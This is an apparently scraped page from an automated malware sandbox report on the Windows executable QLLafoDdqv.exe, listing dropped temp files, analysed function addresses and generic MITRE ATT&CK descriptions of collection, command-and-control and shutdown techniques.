Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\F56GKLK7U4

C:\Users\user\AppData\Local\Temp\aut1BE0.tmp

C:\Users\user\AppData\Local\Temp\aut1C2F.tmp

C:\Users\user\AppData\Local\Temp\exhilaratingly

C:\Users\user\AppData\Local\Temp\maneuverability

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
QLLafoDdqv.exe

Function 006D42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Function 006D42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 00712BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Function 006D2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 00708D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Function 0071065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 006D344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 006D2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Function 006D3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Function 015C2600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 006D2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre